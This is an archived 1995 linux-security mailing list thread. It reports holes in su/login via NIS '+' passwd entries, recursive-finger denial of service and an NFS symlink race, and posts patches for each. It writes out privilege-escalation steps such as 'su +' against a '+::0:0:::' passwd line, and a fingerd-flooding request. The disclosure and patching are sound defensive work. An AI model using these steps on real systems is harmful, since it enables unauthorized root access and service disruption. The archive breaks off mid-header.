Mon, 13 Mar 95 17:37:27 EST Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0roIjC-0005B8C; Mon, 13 Mar 95 23:36 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0roJ6v-000Kj1C; Tue, 14 Mar 95 00:01 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: miscellaneous To: [email protected] Date: Tue, 14 Mar 1995 00:01:13 +0100 (MET) Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 900 Sender: [email protected] Precedence: list Hello all, First of all, a few words on the NFS patch. Most people that answered me said it worked OK for them, although there were two that had problems with the ro/rw flags. I can't reproduce this, so I'd like to hear more about it if possible. But please send anything NFS-related by private email unless it really concerns security. I don't remember who posted the report on tying up nfsd by two nested mounts, but it's not clear to me how this should work. On one hand, mount points are resolved locally by your kernel, so there's not actually a `loop' that could tie up nfsd. What's more, Linux nfsd by default does not re-export nfs-mounted directories so you can't even create a loop involving two machines accidentally. Cheers Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Mon Mar 13 19:09:21 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA13704; Mon, 13 Mar 1995 19:06:20 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA13699; Mon, 13 Mar 1995 19:06:11 -0500 Date: Mon, 13 Mar 1995 19:06:11 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Reply-To headers. X-Spook: spy terrorist counter-intelligence X-Attribution: Up Sender: [email protected] Precedence: list I have disabled generation of the "Reply-To:" headers that, by default, directed replies to list postings back to the list. Too large a volume of the messages that Olaf and I have been receiving as moderators is e-mail that really should be sent directly back to the authors of posts, such as mail that answers simple questions or decides to "pick nits." People that simply pounce on the reply key won't saturate the list without at least thinking about it this way; there are many people on this list that do not wish to see it become yet another high-volume list that cannot be kept up with. In the same vein, Olaf and I do not want to see that happen because it is not what we established the lists for. When replying to a post from now on, you will have to explicitly CC: the list into the reply for mail to be sent to it--but before doing that, ask yourself if this is really something that many hundreds of people would be interested in reading. The current size of this security lists are: 749 linux-security 76 linux-security-digest 1138 linux-alert 19 linux-alert-digest The 825 subscriptions to the "security" lists include addresses from 51 top-level Internet domains, so you're going to have people world-wide saying: "why didn't he just reply to that in private e-mail?" (As well as saying: "and why did those brain-dead moderators approve it?" ;-) Let's also try to keep on-topic with *Linux* security. General UNIX security topics such as inetd.conf, shadow passwords, traditionally setuid applications, why /etc/passwd is world-readable, Netscape & Mosaic, httpd, etc., are *not* Linux-specific; many of these topics have already been beaten to death on Usenet, in mailing lists, and around the water cooler--there's no point in our doing it again here. Examples of Linux-specific security are things like the NFS server (a good recent example), special system util's that aren't generally found in other flavors of UNIX or that are customized for Linux, and security holes and/or decisions in common Linux packages and distributions (I realize that there's some overlap with setuid, inetd.conf, etc., here--so this is often case-by-case for each topic). I don't like disapproving posts (and I get the feeling that Olaf doesn't either), but we're going to be more and more frequent (and terse) with our disapproval replies if the threads keep veering into non-Linux-specific and/or non-security-related realms. (Those topics are what the Rutgers mailing-lists are for.) We've been pretty liberal with our approvals so far, but we're going to be much less so in the future. Sorry if that all sounded rude, but we're trying to establish order for the many people here that really want to see focused discussions. We've had at least one well-regarded Linuxer (Rik Faith) leave the list already, and I have a feeling that it's due to the excess traffic, noise, and drifting of topics. Part of this is our fault as moderators, and we now aim to correct that. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950314100664 1767 1767 40025 5731355176 17264 0ustar majdommajdomFrom [email protected] Tue Mar 14 05:05:02 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA19888; Tue, 14 Mar 1995 05:02:16 -0500 Received: from oden.oso.chalmers.se (oden.oso.chalmers.se [129.16.208.10]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id UAA15070; Mon, 13 Mar 1995 20:23:11 -0500 Received: by oden.oso.chalmers.se (5.64/0.0) id AA08850; Tue, 14 Mar 95 02:23:04 +0100 From: [email protected] (Rafal Maszkowski) Message-Id: <[email protected]> Subject: Re: finger @ bug To: [email protected] Date: Tue, 14 Mar 1995 02:23:04 +0100 (MET) In-Reply-To: from "Daniel Hollis" at Mar 13, 95 12:25:32 pm X-Acknowledge-To: Latin-Date: Marti XIV Martie A.D. MCMXCV X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 845 Sender: [email protected] Precedence: list [mod: Can we please cut this discussion short? IMHO, the recursive finger is really a feature, although it would be fine if it was disabled by default. Another problem (which is a real bug) is what Rafal writes about; if your finger joe@@@@@@@@@@@@@@foo.edu, many fingerd's will create lots of processes that seem to hang around indefinitely. Follow-ups to this post will be redirected to the author unless they add something significantly new. --okir ] Daniel Hollis writes: > This has been known for a *long* time. Almost a year. The patches have > already been available on sunsite for ages. The solution is to run a > patched in.fingerd, or a different fingerd altogether, like cfingerd. Are you sure the patches on sunsite are against recursive finger? I think they were helping only in denial of service @@@@@@@@@ bug. R. -- Rafal Maszkowski [email protected] http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From [email protected] Tue Mar 14 06:06:30 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA20209; Tue, 14 Mar 1995 06:04:23 -0500 Received: from sanson.dit.upm.es (sanson.dit.upm.es [138.100.16.5]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id DAA19453; Tue, 14 Mar 1995 03:28:53 -0500 Received: from oasis.dit.upm.es (oasis.dit.upm.es [138.100.17.11]) by sanson.dit.upm.es (8.6.10/2.16) with ESMTP id JAA00712 for ; Tue, 14 Mar 1995 09:28:44 +0100 Received: (mtl94033@localhost) by oasis.dit.upm.es (8.6.10/2.15) id JAA02257; Tue, 14 Mar 1995 09:28:42 +0100 Date: Tue, 14 Mar 1995 09:28:42 +0100 From: "Alvaro M. Echevarria" Message-Id: <[email protected]> To: [email protected] Subject: Hey, I have a big one. Cc: [email protected] Sender: [email protected] Precedence: list [mod: This glitch is still present in libc-4.6.27. The NYS library seems to check for it, though. --okir] Hi. A while ago I discovered a really big security hole affecting the libraries and yellow pages. Although it is a problem of the libraries, it actually makes dangerous login and su. This is the problem: to get yellow pages to work, the standard says you need to have a +::0:0::: or a +:*:0:0::: at the end of the /etc/passwd file (I know in linux that is not necessary, but I think most system administrators still do it that way). The problem is that library functions getpwnam, etc, consider '+' as a normal user, so if you have +::0:0::: in /etc/passwd, what you really have is a passwdless root. So, as login/su don't test wether a username begins with a +, guess what it happens? I contacted with the author of login (Peter Orbaek, [email protected]), and he has released a new version, that tests for usernames starting with +. However I have not been able to report the bug to gnu (responsible for su) nor the maintainers of the libraries. So here goes the patch for su.c: 270a271,276 > /* If username starts with +, it is not valid, as it is the anchor for > yellow pages. Otherwise, we have a gigantic security hole. This is just > a dirty hack to fix it, as this should be fixed in the libraries instead > of programs. Feb 95. */ > if (new_user[0]=='+') > error (1, 0, "user %s does not exist", new_user); By the way, I sent a report to [email protected] a month ago, and I haven't received a single word from there. I don't know if I used the correct address, but anyway, I suspect that someone deleted my message after reading "linux" on the subject... :-) who cares. Regards. Alvaro Martinez Echevarria MADRID---------------SPAIN [email protected] [email protected] From [email protected] Tue Mar 14 06:06:30 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA20202; Tue, 14 Mar 1995 06:03:47 -0500 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id TAA14365; Mon, 13 Mar 1995 19:40:03 -0500 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id TAA16092; Mon, 13 Mar 1995 19:42:44 -0500 Date: Mon, 13 Mar 1995 19:42:43 -0500 (EST) From: alex To: Linux Security Mailing List Subject: XDM creates "floating" socket? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: I suspect that this port is opened by the Chooser, but I'm not sure. I'd prefer if you mailed your responses to Alex directly. Alex, can you post a summary of the responses you get? --okir] Hi, Okay, here's the deal: whenever I start XDM, it creates starts listening at :6000. In addition to that another socket gets created with a pretty random number (usually in 1030-1300 range). If one telnets to that socket, it allows remote site to issue some kind of commands (the only one I could check was "quit" which terminated connection). While the connection is established, it looks like XDM (or whatever) is doing that performs fork() and continues to listen to the socket. Whenever "quit" command is given, the original socket gets closed and a socket with a new number re-opens. Now, I can't find any pattern: some Linux boxes here on campus are known to have this feature, some aren't. Some Suns running X11R6 do it, some don't ;-) So it is kinda funny... I could not find any information about this floating sockets. First when I found that Suns have this too, I though that in that case everything is okay, but some recent events with Suns in the labs aren't making me happy (/etc/ifconfig "forgets" to show promisc mode flag when *I* put the card in the promisc. mode). Best wishes, Alex BTW, don't "play" with these systems, don't: we kinda lost all sence of humor. ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= From [email protected] Tue Mar 14 13:03:33 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22239; Tue, 14 Mar 1995 12:56:46 -0500 Received: from taurus.math.tau.ac.il (taurus.math.tau.ac.il [132.67.64.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id HAA20619; Tue, 14 Mar 1995 07:20:08 -0500 Received: from lune.math.tau.ac.il ([email protected] [132.67.96.11]) by taurus.math.tau.ac.il (8.6.10/8.6.10) with ESMTP id OAA22487 for ; Tue, 14 Mar 1995 14:19:10 +0200 From: Yossi Gottlieb Received: (yogo@localhost) by lune.math.tau.ac.il (8.6.9/8.6.9) id OAA13024 for [email protected]; Tue, 14 Mar 1995 14:19:08 +0200 Message-Id: <[email protected]> Subject: Linux NFS client To: [email protected] Date: Tue, 14 Mar 1995 14:19:08 +0200 (GMT+0200) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 6264 Sender: [email protected] Precedence: list I've recently noticed a problem with the implementation of the NFS in the kernel. Since the NFS server doesn't keep track of open files, a huge possibility for race conditions exists. For example, with current CLIENT implementation, it is possible to open a file on an NFS filesystem and while the file is open, erase it, and immediately replace it with a symlink. The symlink gets the same inode and most important, the same file handle of the original file (it may not necessarily be so, and depends on the server). Any futher writes to the file will go thru the symlink. This is a HUGE security hole, and puts in danger both the client and the server. BSD handles this by disallowing NFS REMOVE calls on locally-open files. Instead, the file is renamed into something like ".nfsXXXX" (on SunOS anyway), which remains until the file is closed, and a real NFS REMOVE call is sent. A simple patch is included for having a similar behaviour on the Linux NFS client. Note that it is hardly tested, so be careful. Note that the patch doesn't completely solve the problem. Other clients can still replace the open file, or the temporary '.nfs...' file (that's the same thing, actually). Fixing that problem is only possible by using a special NFS server which keeps track of all files, and verifies no two files get the same file handle (i.e. something like keeping a counter which gets increased per file creation, and somehow stuffed into the file handle). btw Perhaps the SunOS nfsd have this behaviour, anybody can confirm/deny? While experimenting wit SunOS, I've noticed that whenever I try to replace an open file, any further writes to it causes a 'NFS Write Error' be sent to syslog, even though the syscall does not indicate any problem. yossi. --- linux/fs/nfs/file.c.orig Sat Mar 11 23:46:48 1995 +++ linux/fs/nfs/file.c Tue Mar 14 13:24:36 1995 @@ -10,6 +10,7 @@ * and implementation by Wai S Kok [email protected]. * * Expire cache on write to a file by Wai S Kok (Oct 1994). + * Better treatment of unlink (BSD-style) by Yossi Gottlieb (Mar. 95) * * nfs regular file handling functions */ @@ -33,6 +34,7 @@ static int nfs_file_read(struct inode *, struct file *, char *, int); static int nfs_file_write(struct inode *, struct file *, char *, int); static int nfs_fsync(struct inode *, struct file *); +static void nfs_release(struct inode *, struct file *); static struct file_operations nfs_file_operations = { NULL, /* lseek - default */ @@ -43,7 +45,7 @@ NULL, /* ioctl - default */ nfs_mmap, /* mmap */ NULL, /* no special open is needed */ - NULL, /* release */ + nfs_release, /* release */ nfs_fsync, /* fsync */ }; @@ -94,6 +96,23 @@ { return 0; } + +static void nfs_release(struct inode *inode, struct file *file) +{ + struct inode *dir; + + if (inode->u.nfs_i.del_ino) + if ((dir = iget(inode->i_sb, inode->u.nfs_i.del_ino))) { + inode->u.nfs_i.del_ino = 0; + file->f_count--; + if (dir->i_op->unlink(dir, inode->u.nfs_i.del_name, NFS_DUMMYLEN) < 0) + printk("nfs_release: dummy nfs file remove error.\n"); + file->f_count++; + } + return; +} + + static int nfs_file_read(struct inode *inode, struct file *file, char *buf, int count) --- linux/fs/nfs/dir.c.orig Sat Mar 11 23:07:42 1995 +++ linux/fs/nfs/dir.c Tue Mar 14 13:24:17 1995 @@ -2,6 +2,7 @@ * linux/fs/nfs/dir.c * * Copyright (C) 1992 Rick Sladkey + * Better treatment of unlink (BSD-style) by Yossi Gottlieb (Mar. 95) * * nfs directory handling functions */ @@ -446,9 +447,46 @@ return error; } -static int nfs_unlink(struct inode *dir, const char *name, int len) +/* This handles the rename of the deleted file into a .nfsXXXX. + */ +static char hextoasc[] = "0123456789abcdef"; +int nfs_autorename(struct inode *dir, const char *name, int len, char *newname) { + pid_t pid = current->pid; + struct inode *fi; int error; + char tmpname[NFS_DUMMYLEN]; + + memcpy(tmpname, ".nfsAXXXX.linux", NFS_DUMMYLEN); + tmpname[8] = hextoasc[pid & 0xf]; + tmpname[7] = hextoasc[(pid >> 4) & 0xf]; + tmpname[6] = hextoasc[(pid >> 8) & 0xf]; + tmpname[5] = hextoasc[(pid >> 12) & 0xf]; + + dir->i_count++; /* nfs_lookup does 1 iput() per call */ + while (!dir->i_op->lookup(dir, tmpname, NFS_DUMMYLEN, &fi)) { + iput(fi); + tmpname[4]++; + if (tmpname[4] > 'z') + return -EINVAL; + dir->i_count++; + } + iput(fi); + + dir->i_count += 2; /* nfs_rename does iput() for each dir inode */ + if (!(error = dir->i_op->rename(dir, name, len, dir, tmpname, NFS_DUMMYLEN))) + memcpy(newname, tmpname, NFS_DUMMYLEN); + return error; +} + + + + +static int nfs_unlink(struct inode *dir, const char *name, int len) +{ + int error, i; + struct inode *fi; + struct file *f; if (!dir || !S_ISDIR(dir->i_mode)) { printk("nfs_unlink: inode is NULL or not a directory\n"); @@ -459,6 +497,27 @@ iput(dir); return -ENAMETOOLONG; } + + /* before issuing an NFS remove call, we make sure the inode is + * not currently in use. in that case, we would only rename the + * file, and unlink it once the final close is made. + */ + dir->i_count++; /* lookup does iput()... */ + if (dir->i_op->lookup(dir, name, len, &fi) < 0) { + iput(dir); + return -ENOENT; + } + for (f = first_file, i=0; i < nr_files; i++, f = f->f_next) + if (f->f_count > 0 && f->f_inode->i_ino == fi->i_ino) { + if (!(error = nfs_autorename(dir, name, len, fi->u.nfs_i.del_name))) { + fi->u.nfs_i.del_ino = dir->i_ino; + } + iput(fi); + iput(dir); + return error; + } + iput(fi); + error = nfs_proc_remove(NFS_SERVER(dir), NFS_FH(dir), name); if (!error) nfs_lookup_cache_remove(dir, NULL, name); --- linux/include/linux/nfs.h.orig Tue Mar 14 13:22:03 1995 +++ linux/include/linux/nfs.h Tue Mar 14 13:22:14 1995 @@ -9,6 +9,7 @@ #define NFS_FHSIZE 32 #define NFS_COOKIESIZE 4 #define NFS_FIFO_DEV (-1) +#define NFS_DUMMYLEN 15 #define NFSMODE_FMT 0170000 #define NFSMODE_DIR 0040000 #define NFSMODE_CHR 0020000 --- linux/include/linux/nfs_fs_i.h.orig Sat Mar 11 23:03:12 1995 +++ linux/include/linux/nfs_fs_i.h Tue Mar 14 13:22:36 1995 @@ -8,6 +8,8 @@ */ struct nfs_inode_info { struct nfs_fh fhandle; + int del_ino; + char del_name[NFS_DUMMYLEN]; }; #endif From [email protected] Tue Mar 14 13:03:33 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22264; Tue, 14 Mar 1995 12:57:08 -0500 Received: from cutter.ship.edu (cutter.ship.edu [157.160.80.101]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id IAA20996; Tue, 14 Mar 1995 08:46:03 -0500 Received: by cutter.ship.edu (Linux Smail3.1.28.1 #1) Sender: [email protected] Precedence: list id m0roWo0-000CJ3C; Tue, 14 Mar 95 08:38 EST Date: Tue, 14 Mar 1995 08:38:36 -0500 (EST) From: Thomas Briggs To: Rafal Maszkowski cc: [email protected] Subject: Re: finger @ bug In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I think, at least from a little experimenting, that the true GNU fingerd is safe from this... maybe Linux could use it? I tried the finger bug at a school that uses GNU finger exclusively, and it won't letcha through... +-----------+ "Cutter has crashed, again!" - Scott Hooper, 1994 |Tom Briggs +----------------------------+ Cutter: probably the most heavily |Shippensburg University of Pennsylvania | loaded i486-33 machine ever made. |primary address: [email protected]+---------+ Linux 1.1.94, 600 users |secondary address: [email protected]| telnet,Aftp,gopher,http +--------------------------------------------------+ nfs,identd,pine,rtin... linux-security/1995/linux-security.950315100664 1767 1767 23123 5731615750 17262 0ustar majdommajdomFrom [email protected] Wed Mar 15 06:33:07 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA27634; Wed, 15 Mar 1995 06:23:17 -0500 Received: from relay3.UU.NET (relay3.UU.NET [192.48.96.8]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id BAA26020; Wed, 15 Mar 1995 01:12:46 -0500 Received: from uucp6.UU.NET by relay3.UU.NET with SMTP id QQyhcs10460; Tue, 14 Mar 1995 23:40:36 -0500 Received: from tembel.UUCP by uucp6.UU.NET with UUCP/RMAIL ; Tue, 14 Mar 1995 23:40:38 -0500 Received: by yage.tembel.org (Smail3.1.28.1 #6) id m0rokjV-000DO5C; Tue, 14 Mar 95 23:30 EST Message-Id: Subject: Re: finger @ bug To: [email protected] (Rafal Maszkowski) Date: Tue, 14 Mar 1995 23:30:53 -0500 (EST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Rafal Maszkowski" at Mar 14, 95 02:23:04 am X-Disclaimer: I speak for no one and the Illuminati speak for me. X-Dogma: Microsoft is not the answer. Microsoft is the question. No is the answer. X-PGP-Finger: [email protected] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1452 From: [email protected] (Michael Shields) Sender: [email protected] Precedence: list This is easy to fix. Here's a patch I wrote just now. This is against the fingerd in NetKit-B 0.06. --- 1.1.1.1 1994/08/29 04:35:25 +++ fingerd.c 1995/03/15 04:26:08 @@ -49,6 +54,8 @@ #include #include #include +#include +#include main(argc, argv) @@ -63,8 +70,10 @@ register char *lp; int p[2]; #define ENTRIES 50 - char **ap, *av[ENTRIES + 1], line[1024], *strtok(); + char **ap, *av[ENTRIES + 1], line[1024], *cp, *strtok(); int welcome = 0; + struct sockaddr_in sin; + int sval; opterr = 0; while ((ca = getopt(argc, argv, "w")) != EOF) @@ -80,15 +89,9 @@ argc -= optind; argv += optind; -#ifdef LOGGING /* unused for now */ -#include - struct sockaddr_in sin; - int sval; - sval = sizeof(sin); - if (getpeername(0, &sin, &sval) < 0) + if (getpeername(0, (struct sockaddr *) &sin, &sval) < 0) fatal("getpeername"); -#endif if (!fgets(line, sizeof(line), stdin)) exit(1); @@ -117,6 +120,13 @@ *ap = strtok(lp, " \t\r\n"); if (!*ap) break; + /* Guard against recursive fingers or `jrn@@@foovax'. */ + if (cp = strchr(*ap, '@')) { + syslog(LOG_WARNING | LOG_DAEMON, + "`@' in finger request from %s; that's suspicious", + inet_ntoa(sin.sin_addr)); + *cp = 0; + } /* RFC742: "/[Ww]" == "-l" */ if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) *ap = "-l"; -- Shields. From [email protected] Wed Mar 15 07:02:41 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA27733; Wed, 15 Mar 1995 06:59:12 -0500 Received: from uni-paderborn.de (uni-paderborn.de [131.234.10.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id EAA27368; Wed, 15 Mar 1995 04:38:05 -0500 Received: from solaris-serv (solaris-serv.uni-paderborn.de [131.234.60.18]) by uni-paderborn.de (8.6.10/8.6.10) with SMTP id KAA23040; Wed, 15 Mar 1995 10:33:49 +0100 Date: Wed, 15 Mar 1995 10:33:42 +0100 (MET) From: Swen Thuemmler X-Sender: swen@solaris-serv To: Linux GCC cc: "H.J. Lu" , [email protected] Subject: Important security fix to getpwnam.c Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello all, the following patch fixes a security hole present in the current libc code. The bug allowes anyone to become root if you have the entry +::0:0::: in /etc/passwd, and it allows anyone to become the user, whose entry is before an entry starting with a "+" in /etc/passwd, e.g. if you have man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash +@mygroup -@hackers + in /etc/passwd, then the commands su +@mygroup su -- -@hackers su + will su to ftp without a password. This bug not only affects su, but also login, rlogin, rsh etc. The only fix is to disable NIS or to put a -1 in the uid and gid fields of the +-Entries (this will still anyone allow to login, but only with a uid and gid of 65535. Now where is the hole i can crawl into ... --Swen diff -u -r2.7 -r2.6 --- 2.7 1995/03/15 09:02:37 +++ 2.6 1995/03/03 16:17:53 @@ -63,6 +63,8 @@ return(NULL); while ((p = __pwdread(stream, info)) != NULL) { + if (!strcmp(p->pw_name, name)) + break; #ifdef YP if (NULL == stored_pwd) stored_pwd = __nis_alloc_pwd_args(); @@ -118,8 +120,6 @@ break; } #endif; - if (0 == strcmp(p->pw_name, name)) - break; } (void) fclose(stream); return(p); From [email protected] Wed Mar 15 11:18:58 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA28971; Wed, 15 Mar 1995 11:15:21 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id NAA22864; Tue, 14 Mar 1995 13:59:35 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Tue, 14 Mar 1995 19:58:58 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id TAA00758 for [email protected]; Tue, 14 Mar 1995 19:58:54 +0100 Message-Id: <[email protected]> Subject: Somebody else to report bugs to To: [email protected] (linux-security) Date: Tue, 14 Mar 1995 19:58:54 +0100 (MET) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 607 Sender: [email protected] Precedence: list If you have a Linux security bug report, I'd recommend you also send a CC: of whatever you send anywhere else to DFN-CERT, [email protected], the CERT equivalent of the DFN, the German research network. Unlike CERT, who seem to drop Linux security reports into the bit bucket as soon as they receive them, DFN-CERT - do listen to Linux security bug reports - do keep you informed of what's happening with a bug you reported (which does give you a nice feeling ;-) - do fully disclose bugs to their security contacts at sites - may oneday persuade other CERTs to listen to Linux bug reports Thomas -- [Mod: Looking at my subscription files, I found that the following two addresses have already been subscribed to these lists: [email protected] [email protected] It seems that, not only do they listen to Linux bug reports, they've taken a bit of an active interest in both Linux and the discussions/alerts on these lists. That being the case, CC:'ing [email protected] on messages to this list may be an unnecessary duplication. (If I'm wrong on this, I invite corrections from the cert.dfn.de subscribers.) --Jeff.] From [email protected] Wed Mar 15 11:54:57 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA29346; Wed, 15 Mar 1995 11:53:41 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id JAA28143; Wed, 15 Mar 1995 09:44:30 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Linux NFS client[ To: [email protected] (Yossi Gottlieb) Date: Wed, 15 Mar 1995 14:45:07 +0000 (GMT) Cc: [email protected] In-Reply-To: <[email protected]> from "Yossi Gottlieb" at Mar 14, 95 02:19:08 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1604 Sender: [email protected] Precedence: list > possibility for race conditions exists. For example, with current CLIENT > implementation, it is possible to open a file on an NFS filesystem and while > the file is open, erase it, and immediately replace it with a symlink. The > symlink gets the same inode and most important, the same file handle of the > original file (it may not necessarily be so, and depends on the server). Any > futher writes to the file will go thru the symlink. This is correct. Security is entirely the server end responsibility. In your example if the symlink pointed to a read-only file the write would return with an error. This is one of the areas where NFS does not have Unix semantics If you can do that write to a read only file, notify your vendor, report it to cert and get a fix. > This is a HUGE security hole, and puts in danger both the client and the > server. BSD handles this by disallowing NFS REMOVE calls on locally-open No > files. Instead, the file is renamed into something like ".nfsXXXX" (on SunOS > anyway), which remains until the file is closed, and a real NFS REMOVE call > is sent. This is purely to improve the BSD semantics so that open/unlink/use-file/close has the desired unix behaviour. For that reason your patch has a real use. > btw Perhaps the SunOS nfsd have this behaviour, anybody can confirm/deny? > While experimenting wit SunOS, I've noticed that whenever I try to replace > an open file, any further writes to it causes a 'NFS Write Error' be sent > to syslog, even though the syscall does not indicate any problem. Thats because SunOS NFS works correctly. 8) Alan linux-security/1995/linux-security.950316100664 1767 1767 40611 5732073264 17263 0ustar majdommajdomFrom [email protected] Thu Mar 16 02:48:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id CAA02297; Thu, 16 Mar 1995 02:36:40 -0500 Received: from relay3.UU.NET (relay3.UU.NET [192.48.96.8]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id SAA31501; Wed, 15 Mar 1995 18:21:20 -0500 Received: from uucp2.UU.NET by relay3.UU.NET with SMTP id QQyhfp09645; Wed, 15 Mar 1995 18:21:16 -0500 Received: from tembel.UUCP by uucp2.UU.NET with UUCP/RMAIL ; Wed, 15 Mar 1995 18:21:18 -0500 Received: by yage.tembel.org (Smail3.1.28.1 #6) id m0rp1Rl-000DaHC; Wed, 15 Mar 95 17:21 EST Message-Id: Subject: Re: finger @ bug To: [email protected] (Michael Shields) Date: Wed, 15 Mar 1995 17:21:40 -0500 (EST) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Michael Shields" at Mar 14, 95 11:30:53 pm X-Disclaimer: I speak for no one and the Illuminati speak for me. X-Dogma: Microsoft is not the answer. Microsoft is the question. No is the answer. X-PGP-Finger: [email protected] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2081 From: [email protected] (Michael Shields) Sender: [email protected] Precedence: list Yesterday I wrote: > This is easy to fix. Here's a patch I wrote just now. This is against > the fingerd in NetKit-B 0.06. After some thought, here's a patch that gives better log messages by looking up the hostname of the remote system, and using openlog(3). It also sends an error to the remote user, rather than simply truncating; this is less-astonishing. diff -u -r1.1.1.1 fingerd.c --- 1.1.1.1 1994/08/29 04:35:25 +++ fingerd.c 1995/03/15 22:17:25 @@ -49,6 +54,8 @@ #include #include #include +#include +#include main(argc, argv) @@ -63,8 +70,12 @@ register char *lp; int p[2]; #define ENTRIES 50 - char **ap, *av[ENTRIES + 1], line[1024], *strtok(); + char **ap, *av[ENTRIES + 1], line[1024], *cp, *strtok(); int welcome = 0; + struct sockaddr_in sin; + int sval; + struct hostent *remotehost; + const char *remotename; opterr = 0; while ((ca = getopt(argc, argv, "w")) != EOF) @@ -80,15 +91,17 @@ argc -= optind; argv += optind; -#ifdef LOGGING /* unused for now */ -#include - struct sockaddr_in sin; - int sval; - sval = sizeof(sin); - if (getpeername(0, &sin, &sval) < 0) + if (getpeername(0, (struct sockaddr *) &sin, &sval) < 0) fatal("getpeername"); -#endif + remotehost = gethostbyaddr((const char *) &sin.sin_addr, + sizeof(sin), AF_INET); + if (remotehost) + remotename = remotehost->h_name; + else + remotename = inet_ntoa(sin.sin_addr); + + openlog("fingerd", LOG_PID, LOG_DAEMON); if (!fgets(line, sizeof(line), stdin)) exit(1); @@ -117,6 +130,15 @@ *ap = strtok(lp, " \t\r\n"); if (!*ap) break; + /* Guard against recursive fingers or `jrn@@@foovax'. */ + if (cp = strchr(*ap, '@')) { + syslog(LOG_WARNING, + "`@' in finger request from %s; that's suspicious", + remotename); + printf("Recursive fingering not allowed!\r\n"); + fflush(stdout); + exit(0); + } /* RFC742: "/[Ww]" == "-l" */ if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) *ap = "-l"; -- Shields. From [email protected] Thu Mar 16 11:14:07 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA11168; Thu, 16 Mar 1995 11:05:53 -0500 Received: from procert.cert.dfn.de (procert.cert.dfn.de [134.100.14.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id IAA02900; Thu, 16 Mar 1995 08:14:03 -0500 Received: from tiger.cert.dfn.de ([email protected] [134.100.14.11]) by procert.cert.dfn.de (8.6.10/8.6.10) with ESMTP id 